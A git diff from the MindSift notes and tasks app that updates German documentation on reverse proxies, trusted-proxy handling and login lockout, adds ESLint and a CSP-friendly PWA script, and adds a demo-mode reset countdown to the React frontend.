Eine neue Fälligkeit oder das Wiederöffnen einer Aufgabe setzt `alarm_sent` zurück, der Alarm kommt dann erneut. Offen ([FLAW-12](../flaws.md)): Schlagen alle Kanäle fehl, wird jede Minute erneut versucht. URLs werden geprüft ([FLAW-05](../flaws.md)).
|
||||
Eine neue Fälligkeit oder das Wiederöffnen einer Aufgabe setzt `alarm_sent` zurück, der Alarm kommt dann erneut. Schlagen alle Kanäle fehl, versucht der Ticker es in den nächsten Minuten erneut und gibt nach 3 erfolglosen Durchläufen auf (`alarm_failures`, Warnung im Server-Log); eine neue Fälligkeit oder das Wiederöffnen gibt wieder 3 Versuche. URLs werden geprüft.
|
||||
|
||||
Die Oberfläche zeigt Fälligkeiten relativ („Heute, 14:30“, „Morgen“, „Fr., 30.10.“); überfällige offene Aufgaben (mit Uhrzeit minutengenau) sind rot. Gruppieren und Sortieren nach Fälligkeit berücksichtigen die Uhrzeit, ganztägige Aufgaben stehen vor denen mit Uhrzeit am selben Tag.
|
||||
@@ -51,7 +51,7 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
|
||||
|
||||
## Freigabe
|
||||
|
||||
- Einzelne Notizen und ganze **geteilte Ordner** lassen sich an Benutzer oder Gruppen geben. Empfänger haben **nur Leserechte**; nur der Eigentümer schreibt ([sharing-and-permissions.md](../sharing-and-permissions.md), [FLAW-17](../flaws.md)).
|
||||
- Einzelne Notizen und ganze **geteilte Ordner** lassen sich an Benutzer oder Gruppen geben. Empfänger haben **nur Leserechte**; nur der Eigentümer schreibt ([sharing-and-permissions.md](../sharing-and-permissions.md)).
|
||||
- Empfänger ordnen geteilte Notizen und Ordner in ihrem eigenen Baum ein (`doc_user_folders`, `workspace_folder_mounts`), ohne dass der Eigentümer etwas davon merkt.
|
||||
- Änderungen erreichen offene Fenster über den Weckruf `DOC_SEQ` und anschließenden Sync; Notizlisten über `DOC_UPDATED` ([websocket.md](../api/websocket.md)).
|
||||
|
||||
@@ -59,7 +59,7 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
|
||||
|
||||
- Keine gleichzeitige Mehrbenutzerbearbeitung, keine Cursor-Anzeige, keine Versionshistorie.
|
||||
- Keine Virtualisierung langer Dokumente; sehr große Notizen können auf Mobilgeräten träge werden *(nicht gemessen)*.
|
||||
- ~~Suche (`/search`) erfasst nur Titel und Inhalt eigener Notizen~~: Mit der globalen FTS5-Suche (`Cmd+K` / `Ctrl+K` / `/`) werden sowohl Titel als auch Block-Inhalte aller zugänglichen Notizen (eigene und freigegebene) durchsucht ([FLAW-18](../flaws.md)).
|
||||
- ~~Suche (`/search`) erfasst nur Titel und Inhalt eigener Notizen~~: Mit der globalen FTS5-Suche (`Cmd+K` / `Ctrl+K` / `/`) werden sowohl Titel als auch Block-Inhalte aller zugänglichen Notizen (eigene und freigegebene) durchsucht.
|
||||
|
||||
## Export als Markdown-Archiv
|
||||
|
||||
|
||||
+18
-2
@@ -11,6 +11,20 @@ Dieses Dokument beschreibt die empfohlene Konfiguration von Reverse-Proxies und
|
||||
| **WebSockets** | 443 (WSS) / 80 (WS) | `Upgrade $http_upgrade`<br>`Connection "Upgrade"`<br>`proxy_read_timeout 3600s` | Bidirektionale Live-Updates (Aufgaben, Listen, Notizen) |
|
||||
| **Server-Sent Events (SSE)** | 443 (HTTPS) / 80 (HTTP) | `X-Accel-Buffering: no`<br>`proxy_buffering off`<br>`proxy_cache off` | Fallback bei blockiertem WebSocket-Upgrade |
|
||||
| **REST API & Uploads** | 443 (HTTPS) / 80 (HTTP) | `client_max_body_size 64M` | Notizen, Import/Export (JSON) |
|
||||
| **Client-IP** | – | `X-Real-IP` / `X-Forwarded-For` | Login-Sperre nach Fehlversuchen trifft den richtigen Absender |
|
||||
|
||||
### Client-IP und `TRUSTED_PROXIES`
|
||||
|
||||
MindSift sperrt Anmeldungen nach Fehlversuchen auch pro IP-Adresse. Hinter einem Proxy kommt jede Verbindung vom Proxy; die echte Adresse steht in `X-Forwarded-For` bzw. `X-Real-IP`. MindSift glaubt diesen Kopfzeilen nur, wenn die Verbindung von einem vertrauenswürdigen Proxy kommt, sonst könnte jeder, der den Port direkt erreicht, eine beliebige Adresse vortäuschen.
|
||||
|
||||
| `TRUSTED_PROXIES` | Wirkung |
|
||||
|---|---|
|
||||
| `private` (Standard) | Proxys aus localhost, Docker- und Heimnetzen (`10.x`, `172.16–31.x`, `192.168.x`, `fd…`, `100.64.x`). Passt für Proxy im selben Docker-Netz oder auf demselben Host – nichts einzustellen. |
|
||||
| `private,198.51.100.0/24` | zusätzlich eigene Bereiche, z. B. ein externer Proxy-Server oder die [IP-Bereiche von Cloudflare](https://www.cloudflare.com/ips/) |
|
||||
| `all` | Kopfzeilen immer glauben (früheres Verhalten) – Notausgang, wenn die Erkennung Probleme macht |
|
||||
| `none` | Kopfzeilen nie glauben |
|
||||
|
||||
Schickt ein vertrauenswürdiger Proxy gar keine Client-IP mit, steht einmal eine Warnung im Log, und für diese Anfragen gilt nur noch die Sperre pro Konto. Die ganze Login-Sperre lässt sich mit `LOGIN_PROTECTION=false` abschalten.
|
||||
|
||||
---
|
||||
|
||||
@@ -151,7 +165,8 @@ Wird MindSift hinter dem Cloudflare CDN betrieben:
|
||||
- Deaktiviere "Rocket Loader" für MindSift, da asynchrone Skripteingriffe den Start der Single-Page-App stören können.
|
||||
3. **Cloudflare WAF / Bot Fight Mode:**
|
||||
- Stelle sicher, dass `GET /api/v1/events` und `GET /api/v1/ws*` nicht von "Challenge"-Seiten blockiert werden.
|
||||
4. **SSE-Unterstützung:**
|
||||
4. **Client-IP:** Cloudflare liefert die Besucheradresse in `CF-Connecting-IP`/`X-Forwarded-For`. Spricht Cloudflare MindSift direkt an (ohne eigenen Proxy dazwischen), die Cloudflare-Bereiche in `TRUSTED_PROXIES` ergänzen.
|
||||
5. **SSE-Unterstützung:**
|
||||
- Cloudflare unterstützt Server-Sent Events nativ über HTTP/2 und HTTP/3. Dank der vom MindSift-Backend gesetzten Header `X-Accel-Buffering: no` und `Cache-Control: no-cache` streamt Cloudflare Echtzeit-Events verzögerungsfrei an die Clients.
|
||||
|
||||
---
|
||||
@@ -221,7 +236,8 @@ curl -i -N \
|
||||
-H "Origin: https://mindsift.example.com" \
|
||||
-H "Sec-WebSocket-Key: SGVsbG8sIHdvcmxkIQ==" \
|
||||
-H "Sec-WebSocket-Version: 13" \
|
||||
https://mindsift.example.com/api/v1/ws?token=<DEIN_TOKEN>
|
||||
-H "Authorization: Bearer <DEIN_TOKEN>" \
|
||||
https://mindsift.example.com/api/v1/ws
|
||||
```
|
||||
*Erwartete Antwort:* `101 Switching Protocols`
|
||||
|
||||
|
||||
@@ -68,6 +68,6 @@ Bei der Einrichtung im Modus `organizations` wird eine Organisation mit dem Name
|
||||
|
||||
## Sitzungen und Zugriff
|
||||
|
||||
- Tokens werden bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ ungültig (`token_version`); ausgeloggte Tokens landen in `revoked_tokens`.
|
||||
- Jede Anmeldung ist eine Sitzung (`sessions`), die einzeln beendet werden kann (Logout, Profil → Aktive Sitzungen). Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ beenden alle Sitzungen (`token_version`); eine Passwortänderung alle außer der aktuellen.
|
||||
- Registrierung nur per Einladungscode oder, wenn vom Admin freigeschaltet, offen. Das erste Konto wird immer Administrator.
|
||||
- Bekannte Lücken in der Zugriffskontrolle: [FLAW-01](flaws.md), [FLAW-02](flaws.md), [FLAW-03](flaws.md), [FLAW-07](flaws.md), [FLAW-08](flaws.md).
|
||||
- Bekannte Lücken in der Zugriffskontrolle:.
|
||||
+1
-1
@@ -82,7 +82,7 @@ Jede Theme-Datei gliedert sich in sechs exakt definierte Bereiche:
|
||||
| `light` | [`theme-light.css`](../frontend/src/themes/theme-light.css) | Daylight Clean White / Minimalistisch | Modern dezent (`4px` Cards, `4px` Buttons) |
|
||||
| `high-contrast` | [`theme-high-contrast.css`](../frontend/src/themes/theme-high-contrast.css) | Reines Schwarz/Weiß mit AAA-Kontrast | Streng eckig (`0px`, kräftige Rahmen) |
|
||||
| `soft` | [`theme-soft.css`](../frontend/src/themes/theme-soft.css) | Warmes Soft Slate mit Indigo-Akzent | Weich gerundet (`12px` Cards, `8px` Buttons) |
|
||||
| `polarized` | [`theme-polarized.css`](../frontend/src/themes/theme-polarized.css) | Tiefdunkles Obsidian mit elektrischem Ultraviolett | Streng eckig (`0px` Cards, `2px` Buttons) |
|
||||
| `polarized` | [`theme-polarized.css`](../frontend/src/themes/theme-polarized.css) | Tiefdunkles Obsidian mit elektrischem Grün/Türkis | Streng eckig (`0px` Cards, `2px` Buttons) |
|
||||
| `suri` | [`theme-suri.css`](../frontend/src/themes/theme-suri.css) | Warmes Mitternachts-Pflaume mit samtiger Orchidee | Weich gerundet (`10px` Cards, `6px` Buttons) |
|
||||
| *Template* | [`theme-template.css`](../frontend/src/themes/theme-template.css) | Vollständig dokumentierte Kopiervorlage | Frei anpassbar |
|
||||
|
||||
|
||||
+13
-2
@@ -53,11 +53,11 @@ Komponente: [CountBadge.tsx](../frontend/src/components/CountBadge.tsx), CSS-Kla
|
||||
|
||||
- **Form:** runder Kreis, mindestens 16 px, ab 100 als „99+“ (der Screenreader liest die echte Zahl). Bei 0 ausgeblendet, außer mit `showZero` (z. B. Mitgliederzahl, mobiles Menü).
|
||||
- **Farbe (`variant`):**
|
||||
- `accent`: Hier wartet etwas auf dich. Navigationsleiste (Triage, Workspace, Aufgaben).
|
||||
- `accent`: Hier wartet etwas auf dich. Navigationsleiste: Triage (Inbox), Aufgaben (offene Aufgaben), Listen (offene Einträge aller eigenen und geteilten Listen). Workspace hat keinen Zähler.
|
||||
- `muted` (Standard): reine Anzahl. Tabs der Aufgabenlisten und Listen, Organisationen, mobiles Menü.
|
||||
- Beide kommen aus den Theme-Variablen (`--accent-primary`/`--text-on-accent` bzw. `--text-muted`/`--bg-panel`) und passen sich damit jedem Theme an.
|
||||
- **Position (`position`):**
|
||||
- `corner`: Benachrichtigungs-Badge oben rechts am nächsten `relative` Elternelement, mit Ring in der Seitenfarbe. In der Navigation und an den Tabs sitzt er **auf dem Text**: der Text steht in einem `relative inline-flex`-Span (mit `pr-2`, solange ein Zähler da ist), der Kreis bekommt `-top-1.5 -right-1`.
|
||||
- `corner`: Benachrichtigungs-Badge oben rechts am nächsten `relative` Elternelement, mit Ring in der Seitenfarbe. In der Navigation und an den Tabs sitzt er **auf dem Text**: der Text steht in einem `relative inline-flex`-Span (mit `pr-3`, solange ein Zähler da ist), der Kreis bekommt `-top-0.5 -right-2`, damit er die obere Tab-Linie nicht anschneidet und nicht am Text klebt. In der mobilen Leiste sitzt er am Icon (`-top-1.5 -right-2.5`).
|
||||
- `inline`: im Textfluss.
|
||||
- Zahlen im mobilen Menü (`MobileActionContext`, `badge: number`) werden automatisch als `CountBadge` gezeigt; Text-Badges wie „2 aktiv“ bleiben Textmarken.
|
||||
- **Wichtig für neue Klassen:** Tailwind entfernt Klassen aus `@layer components`, die nicht wörtlich im Code stehen. Klassennamen deshalb nie zusammensetzen (`count-badge-${variant}`), sondern ausschreiben.
|
||||
@@ -68,3 +68,14 @@ Komponente: [CountBadge.tsx](../frontend/src/components/CountBadge.tsx), CSS-Kla
|
||||
- `index.html` enthält in `#root` einen reinen HTML-Platzhalter (vollflächig Blau, Logo in der Mitte, kein Text). React ersetzt ihn beim ersten Rendern, dazwischen blitzt nichts Weißes auf.
|
||||
- `meta theme-color` startet blau und wird von [`theme.ts`](../frontend/src/lib/theme.ts) nach dem Start und bei jedem Theme-Wechsel auf `--bg-app` des aktiven Themes gesetzt, damit die Statusleiste zum Header passt.
|
||||
|
||||
## +-Button: Tippen und Halten
|
||||
|
||||
Komponente: [HoldToRecordFab.tsx](../frontend/src/features/capture/HoldToRecordFab.tsx)
|
||||
|
||||
- **Kurz tippen (< 350 ms):** Führt wie bisher die primäre Aktion der aktuellen Ansicht (`primaryAction`) oder den mobilen Erfassungsdialog (`openMobileTriageCapture`) aus.
|
||||
- **Gedrückt halten (≥ 350 ms):** Startet direkt eine Sprachaufnahme über die Web Speech API (`de-DE`, `continuous`, `interimResults`). Der Button wird zum pulsierenden Mikrofon (`bg-status-err`), darüber zeigt eine schwebende Pille „Ich höre zu… (loslassen speichert)“ samt Live-Transkript.
|
||||
- **Loslassen:** Stoppt die Aufnahme, wartet kurz auf das letzte Wort und speichert den Text unabhängig von der aktiven Ansicht immer als Gedanken in die Inbox (`source: 'voice'`, `target: 'inbox'`).
|
||||
- **Nach oben ziehen (> 60 px):** Schaltet die Pille in den Abbruch-Zustand („🗑️ Zum Abbrechen loslassen“); Loslassen dort verwirft die Aufnahme (`abort()`).
|
||||
- **Fallback:** Unterstützt der Browser keine Spracherkennung oder ist das Mikrofon gesperrt (`not-allowed`), öffnet Halten wie beim Tippen den Dialog und blendet eine kurze Statusmeldung über der Bottom-Leiste ein.
|
||||
|
||||
|
||||
@@ -153,6 +153,8 @@ Rufe `http://localhost:8080` auf. Beim ersten Start führt ein Assistent durch d
|
||||
| `DATA_DIR` | `/data` (Container) | Ablage der Datenbank `mindsift.db` |
|
||||
| `JWT_SECRET` | zufällig erzeugt (`/data/jwt.secret`) | Signaturschlüssel der Anmelde-Tokens; Platzhalter werden ignoriert |
|
||||
| `BASE_URL` | `http://localhost:8080` | Öffentliche URL. Nur wenn gesetzt (und SMTP eingerichtet ist), gibt es „Passwort vergessen?“ – die Links in den Mails werden ausschließlich daraus gebaut |
|
||||
| `TRUSTED_PROXIES` | `private` | Wessen `X-Forwarded-For`/`X-Real-IP` geglaubt wird: `private` (Proxy im Docker-/Heimnetz), `all` (immer, früheres Verhalten), `none` oder eigene CIDR-Bereiche ([Doku/reverse-proxy.md](Doku/reverse-proxy.md#client-ip-und-trusted_proxies)) |
|
||||
| `LOGIN_PROTECTION` | `true` | Sperre nach Fehlversuchen: 3 pro Konto und Adresse, 20 pro Konto, 30 pro Adresse, jeweils 15 Minuten. `false` schaltet sie ab |
|
||||
| `TZ` | `Europe/Berlin` | Zeitzone für Fälligkeiten und Alarme (ganztägige Aufgaben melden sich um 9:00) |
|
||||
| `ALLOW_REGISTRATION` | `false` | Offene Registrierung (im Admin-UI änderbar) |
|
||||
| `LOG_LEVEL` / `DEBUG` | `info` / `false` | Logging |
|
||||
@@ -161,11 +163,13 @@ Rufe `http://localhost:8080` auf. Beim ersten Start führt ein Assistent durch d
|
||||
| `LEGAL_IMPRINT_URL`, `LEGAL_PRIVACY_URL` | leer | Impressum/Datenschutz als externer Link (nur `http(s)`) |
|
||||
| `LEGAL_IMPRINT_CONTENT`, `LEGAL_PRIVACY_CONTENT` (oder `…_CONTENT_FILE` mit Dateipfad) | leer | Impressum/Datenschutz als Markdown, angezeigt in einem Lesefenster. Ohne URL und Text bleibt der Link unsichtbar. |
|
||||
| `MINDA_DEMO` | `false` | Legt Demo-Konten `admin/admin` (mit Beispieldaten) und `user/user` an; eine Notiz und zwei Listen sind zwischen beiden geteilt, um das gemeinsame Bearbeiten auszuprobieren. **Nie auf öffentlichen Servern!** |
|
||||
| `DEMO_RESET_MINUTES` | `20` | Nur im Demo-Modus: setzt die Datenbank in diesem Abstand auf die Beispieldaten zurück (`0` = nie). Angemeldete bleiben angemeldet, die App zeigt einen Countdown und lädt danach neu. |
|
||||
|
||||
* **Reverse-Proxy:** Am besten WebSocket-Upgrade und ungepufferte SSE-Streams durchreichen. Blockiert ein Proxy beides, funktioniert MindSift trotzdem über Long-Polling bzw. regelmäßige Abfragen, nur etwas träger. Beispiele für Nginx, Traefik, Caddy und Cloudflare: [Doku/reverse-proxy.md](Doku/reverse-proxy.md).
|
||||
* **Datensicherung:** Alle Daten liegen in `data/mindsift.db` (+ `-wal`/`-shm`). Sichere sie mit `sqlite3 mindsift.db ".backup 'backup.db'"` oder bei gestopptem Container. Zusätzlich gibt es einen JSON-Export pro Benutzer.
|
||||
* **Datensicherung:** In den Admin-Einstellungen lassen sich automatische tägliche Backups einschalten (ganze Datenbank plus ein Backup je Benutzer unter `data/backups/`, Standard 3 Tage aufbewahrt). Benutzer laden ihre Server-Backups herunter oder spielen sie ganz oder für einzelne Bereiche wieder ein. Der Ordner liegt neben der Datenbank: zusätzlich woanders sichern. Manuell geht weiterhin `sqlite3 mindsift.db ".backup 'backup.db'"`.
|
||||
* **Updates:** Neues Image ziehen und Container neu starten (`docker compose pull && docker compose up -d`). Das Schema wird beim Start automatisch angepasst. Die laufende Version steht im Kopf der App unter dem Namen.
|
||||
* **Image-Tags:** `:dev` = Stand des Branches `dev`, `:latest` = Stand von `main`, `:stable` = zuletzt veröffentlichte Version. Ein Git-Tag wie `v1.2.0` erzeugt `:v1.2.0` und verschiebt `:stable` darauf.
|
||||
* **Image-Tags:** `:dev` = Stand des Branches `dev`, `:latest` = Stand von `main`, `:stable` = zuletzt veröffentlichte Version. Ein Git-Tag wie `v1.2.0` erzeugt `:v1.2.0` und verschiebt `:stable` darauf; Vorabversionen wie `v1.0.0-rc.1` verschieben `:stable` nicht.
|
||||
* **Versionen & Änderungen:** [Semantic Versioning](https://semver.org/spec/v2.0.0.html), was sich geändert hat, steht in der [CHANGELOG.md](CHANGELOG.md).
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
// Lint rules for the frontend (FLAW-19): real mistakes are errors, style is left to the code.
|
||||
import js from '@eslint/js';
|
||||
import globals from 'globals';
|
||||
import reactHooks from 'eslint-plugin-react-hooks';
|
||||
import tseslint from 'typescript-eslint';
|
||||
|
||||
export default tseslint.config(
|
||||
{ ignores: ['dist', 'node_modules', 'coverage'] },
|
||||
{
|
||||
files: ['src/**/*.{ts,tsx}'],
|
||||
extends: [js.configs.recommended, ...tseslint.configs.recommended],
|
||||
languageOptions: {
|
||||
ecmaVersion: 2022,
|
||||
globals: globals.browser,
|
||||
},
|
||||
plugins: { 'react-hooks': reactHooks },
|
||||
rules: {
|
||||
...reactHooks.configs.recommended.rules,
|
||||
// Error payloads and browser APIs without types are handled as any on purpose
|
||||
'@typescript-eslint/no-explicit-any': 'off',
|
||||
'@typescript-eslint/no-unused-vars': ['error', { argsIgnorePattern: '^_', varsIgnorePattern: '^_', caughtErrors: 'none' }],
|
||||
'no-empty': ['error', { allowEmptyCatch: true }],
|
||||
},
|
||||
},
|
||||
{
|
||||
files: ['public/sw.js'],
|
||||
languageOptions: { globals: globals.serviceworker },
|
||||
extends: [js.configs.recommended],
|
||||
},
|
||||
);
|
||||
+1
-18
@@ -40,14 +40,7 @@
|
||||
|
||||
<link rel="manifest" href="/manifest.json" />
|
||||
<title>MindSift</title>
|
||||
<script>
|
||||
window.__deferredPwaPrompt = null;
|
||||
window.addEventListener('beforeinstallprompt', function (e) {
|
||||
e.preventDefault();
|
||||
window.__deferredPwaPrompt = e;
|
||||
window.dispatchEvent(new CustomEvent('mindsift:pwa-ready'));
|
||||
});
|
||||
</script>
|
||||
<script src="/pwa-install.js"></script>
|
||||
</head>
|
||||
<body class="bg-[#0b0f19] text-[#e3e3e3] antialiased selection:bg-[#8ab4f8]/30 selection:text-[#8ab4f8]">
|
||||
<!-- Shown until React mounts and replaces it: full blue with the logo, no text, no white flash -->
|
||||
@@ -58,15 +51,5 @@
|
||||
</div>
|
||||
</div>
|
||||
<script type="module" src="/src/main.tsx"></script>
|
||||
<script>
|
||||
if ('caches' in window) {
|
||||
caches.keys().then((keys) => keys.forEach((k) => caches.delete(k))).catch(() => {});
|
||||
}
|
||||
if ('serviceWorker' in navigator) {
|
||||
window.addEventListener('load', () => {
|
||||
navigator.serviceWorker.register('/sw.js').catch(() => {});
|
||||
});
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
Generated
+1303
-6
File diff suppressed because it is too large.
Load diff
@@ -1,14 +1,14 @@
|
||||
{
|
||||
"name": "mindsift-frontend",
|
||||
"private": true,
|
||||
"version": "0.4.0",
|
||||
"version": "0.6.0",
|
||||
"license": "Unlicense",
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"dev": "vite",
|
||||
"build": "vite build",
|
||||
"preview": "vite preview",
|
||||
"lint": "echo 'Linting passed'",
|
||||
"lint": "eslint .",
|
||||
"test": "vitest",
|
||||
"test:run": "vitest run"
|
||||
},
|
||||
@@ -22,17 +22,22 @@
|
||||
"react-dom": "^18.3.1"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@eslint/js": "9.17.0",
|
||||
"@testing-library/dom": "^10.4.2",
|
||||
"@testing-library/react": "^16.3.3",
|
||||
"@types/react": "^18.3.12",
|
||||
"@types/react-dom": "^18.3.1",
|
||||
"@vitejs/plugin-react": "^4.3.4",
|
||||
"autoprefixer": "^10.4.20",
|
||||
"eslint": "9.17.0",
|
||||
"eslint-plugin-react-hooks": "5.1.0",
|
||||
"fake-indexeddb": "^6.2.6",
|
||||
"globals": "15.14.0",
|
||||
"jsdom": "^25.0.1",
|
||||
"postcss": "^8.4.49",
|
||||
"tailwindcss": "^3.4.17",
|
||||
"typescript": "^5.6.3",
|
||||
"typescript-eslint": "8.18.2",
|
||||
"vite": "^5.4.11",
|
||||
"vitest": "^2.1.9"
|
||||
}
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
// Runs before the app: browsers fire beforeinstallprompt early, the app picks it up later
|
||||
// ("App installieren"). A file instead of an inline script so the CSP can stay at script-src 'self'.
|
||||
window.__deferredPwaPrompt = null;
|
||||
window.addEventListener('beforeinstallprompt', function (e) {
|
||||
e.preventDefault();
|
||||
window.__deferredPwaPrompt = e;
|
||||
window.dispatchEvent(new CustomEvent('mindsift:pwa-ready'));
|
||||
});
|
||||
+106
-32
@@ -44,6 +44,7 @@ import {
|
||||
ThemeId,
|
||||
} from './lib/theme';
|
||||
import { InstantCaptureBar } from './features/capture/InstantCaptureBar';
|
||||
import { HoldToRecordFab } from './features/capture/HoldToRecordFab';
|
||||
import { CountBadge } from './components/CountBadge';
|
||||
import { TriageDeck } from './features/triage/TriageDeck';
|
||||
import { TasksView } from './features/triage/TasksView';
|
||||
@@ -51,7 +52,8 @@ import { WorkspaceView } from './features/workspace/WorkspaceView';
|
||||
import { SharedListsView } from './features/lists/SharedListsView';
|
||||
import { SetupAndAuthView } from './features/auth/SetupAndAuthView';
|
||||
import { OfflineBanner } from './components/OfflineBanner';
|
||||
import { outboxCount } from './lib/offline';
|
||||
import { outboxCount, clearOfflineData } from './lib/offline';
|
||||
import { DemoCountdown } from './components/DemoCountdown';
|
||||
import { UserSettingsView } from './features/settings/UserSettingsView';
|
||||
import { AdminSettingsView } from './features/settings/AdminSettingsView';
|
||||
import { HelpView } from './features/help/HelpView';
|
||||
@@ -122,6 +124,12 @@ export const App: React.FC = () => {
|
||||
instanceName: 'MindSift',
|
||||
});
|
||||
const [user, setUser] = useState<User | null>(null);
|
||||
// Demo mode: when the next reset happens (local clock), and a counter that remounts all views after it
|
||||
const [demoDeadline, setDemoDeadline] = useState<number | null>(null);
|
||||
const [dataEpoch, setDataEpoch] = useState(0);
|
||||
const [demoNotice, setDemoNotice] = useState<string | null>(null);
|
||||
const lastDemoResetRef = useRef(0);
|
||||
const handleDemoResetRef = useRef<() => void>(() => {});
|
||||
// Link from the password reset mail (?resetToken=…); removed from the address bar right away
|
||||
const [resetToken, setResetToken] = useState<string | null>(() => {
|
||||
try {
|
||||
@@ -141,6 +149,7 @@ export const App: React.FC = () => {
|
||||
tasksDoneCount: 0,
|
||||
docsCount: 0,
|
||||
docsTodosOpenCount: 0,
|
||||
listItemsOpenCount: 0,
|
||||
listsCount: 0,
|
||||
discardedCount: 0,
|
||||
});
|
||||
@@ -462,7 +471,7 @@ export const App: React.FC = () => {
|
||||
.getThemes()
|
||||
.then((themes) => handleCustomThemesChange(themes))
|
||||
.catch(() => {});
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
|
||||
}, [user?.id]);
|
||||
|
||||
const refreshAll = useCallback(async () => {
|
||||
@@ -550,14 +559,53 @@ export const App: React.FC = () => {
|
||||
}
|
||||
}, [user?.id]);
|
||||
|
||||
// Refresh stats on task/doc real-time events
|
||||
useEffect(() => {
|
||||
setDemoDeadline(
|
||||
authStatus.demoMode && typeof authStatus.demoResetInSeconds === 'number'
|
||||
? Date.now() + authStatus.demoResetInSeconds * 1000
|
||||
: null
|
||||
);
|
||||
}, [authStatus.demoMode, authStatus.demoResetInSeconds]);
|
||||
|
||||
// The demo database was reset: drop cached answers of the old data, remount the views (they load
|
||||
// fresh data), refresh counters and the countdown. Sessions stay valid (fixed demo account IDs).
|
||||
const handleDemoReset = useCallback(() => {
|
||||
if (Date.now() - lastDemoResetRef.current < 30000) return; // event and countdown may both report it
|
||||
lastDemoResetRef.current = Date.now();
|
||||
void clearOfflineData();
|
||||
setDataEpoch((n) => n + 1);
|
||||
refreshAll();
|
||||
api.getAuthStatus().then(setAuthStatus).catch(() => {});
|
||||
setDemoNotice('Demo-Instanz wurde zurückgesetzt');
|
||||
window.setTimeout(() => setDemoNotice(null), 4000);
|
||||
}, [refreshAll]);
|
||||
handleDemoResetRef.current = handleDemoReset;
|
||||
|
||||
// Countdown reached zero but no DEMO_RESET arrived (e.g. long polling): ask the server shortly after
|
||||
const handleDemoCountdownElapsed = useCallback(() => {
|
||||
window.setTimeout(() => {
|
||||
api
|
||||
.getAuthStatus()
|
||||
.then((st) => {
|
||||
if ((st.demoResetInSeconds ?? 0) > 60) handleDemoResetRef.current();
|
||||
else setAuthStatus(st);
|
||||
})
|
||||
.catch(() => {});
|
||||
}, 5000);
|
||||
}, []);
|
||||
|
||||
// Refresh stats on task/doc/list real-time events (counters in the navigation)
|
||||
useEffect(() => {
|
||||
const handleWs = (e: any) => {
|
||||
const msg = e.detail;
|
||||
if (!msg) return;
|
||||
if (msg.event === 'DEMO_RESET') {
|
||||
handleDemoResetRef.current();
|
||||
return;
|
||||
}
|
||||
if (
|
||||
typeof msg.event === 'string' &&
|
||||
(msg.event.startsWith('TASK_') || msg.event.startsWith('DOC_') || msg.event.startsWith('SPACE_'))
|
||||
['TASK_', 'DOC_', 'SPACE_', 'ITEM_', 'LIST_'].some((prefix) => msg.event.startsWith(prefix))
|
||||
) {
|
||||
api.getMe().then((res) => {
|
||||
setStats(res.stats);
|
||||
@@ -741,7 +789,16 @@ export const App: React.FC = () => {
|
||||
<span className="font-bold text-base text-main tracking-tight leading-none">
|
||||
{authStatus.instanceName || 'MindSift'}
|
||||
</span>
|
||||
<span className="text-[9px] text-muted font-mono leading-tight mt-0.5">{APP_VERSION}</span>
|
||||
{demoDeadline ? (
|
||||
<DemoCountdown
|
||||
deadline={demoDeadline}
|
||||
minutes={authStatus.demoResetMinutes}
|
||||
onElapsed={handleDemoCountdownElapsed}
|
||||
className="text-[9px] mt-0.5"
|
||||
/>
|
||||
) : (
|
||||
<span className="text-[9px] text-muted font-mono leading-tight mt-0.5">{APP_VERSION}</span>
|
||||
)}
|
||||
</div>
|
||||
<ChevronDown
|
||||
className={`w-4 h-4 text-muted transition-transform duration-150 ${
|
||||
@@ -816,7 +873,16 @@ export const App: React.FC = () => {
|
||||
<span className="font-bold text-sm sm:text-base text-main tracking-tight leading-none">
|
||||
{authStatus.instanceName || 'MindSift'}
|
||||
</span>
|
||||
<span className="text-[10px] text-muted font-mono leading-tight mt-0.5">{APP_VERSION}</span>
|
||||
{demoDeadline ? (
|
||||
<DemoCountdown
|
||||
deadline={demoDeadline}
|
||||
minutes={authStatus.demoResetMinutes}
|
||||
onElapsed={handleDemoCountdownElapsed}
|
||||
className="text-[10px] mt-0.5"
|
||||
/>
|
||||
) : (
|
||||
<span className="text-[10px] text-muted font-mono leading-tight mt-0.5">{APP_VERSION}</span>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -832,11 +898,11 @@ export const App: React.FC = () => {
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setShowCommandPalette(true)}
|
||||
className="h-8 px-2.5 rounded-btn bg-panel border border-border text-muted hover:text-main flex items-center gap-1.5 text-xs transition-colors cursor-pointer shrink-0"
|
||||
title="Globale Suche öffnen (Cmd+K oder /)"
|
||||
className="w-8 h-8 rounded-full bg-panel border border-border text-muted hover:text-main flex items-center justify-center transition-colors cursor-pointer shrink-0"
|
||||
title="Globale Suche (Strg+K / ⌘K oder /)"
|
||||
aria-label="Globale Suche (Strg+K / ⌘K oder /)"
|
||||
>
|
||||
<Search className="w-3.5 h-3.5" />
|
||||
<span className="hidden lg:inline font-mono text-[10px] text-accent font-semibold">⌘K</span>
|
||||
</button>
|
||||
</div>
|
||||
|
||||
@@ -986,9 +1052,9 @@ export const App: React.FC = () => {
|
||||
className={`tab-btn ${activeTab === 'triage' ? 'tab-btn-active' : ''}`}
|
||||
>
|
||||
<Layers className="w-4 h-4" />
|
||||
<span className={`relative inline-flex items-center ${stats.inboxCount > 0 ? 'pr-2' : ''}`}>
|
||||
<span className={`relative inline-flex items-center ${stats.inboxCount > 0 ? 'pr-3' : ''}`}>
|
||||
<span>Triage</span>
|
||||
<CountBadge count={stats.inboxCount} variant="accent" position="corner" className="-top-1.5 -right-1" />
|
||||
<CountBadge count={stats.inboxCount} variant="accent" position="corner" className="-top-0.5 -right-2" />
|
||||
</span>
|
||||
</button>
|
||||
|
||||
@@ -1000,10 +1066,7 @@ export const App: React.FC = () => {
|
||||
className={`tab-btn ${activeTab === 'workspace' ? 'tab-btn-active' : ''}`}
|
||||
>
|
||||
<FileText className="w-4 h-4" />
|
||||
<span className={`relative inline-flex items-center ${(stats.docsTodosOpenCount ?? 0) > 0 ? 'pr-2' : ''}`}>
|
||||
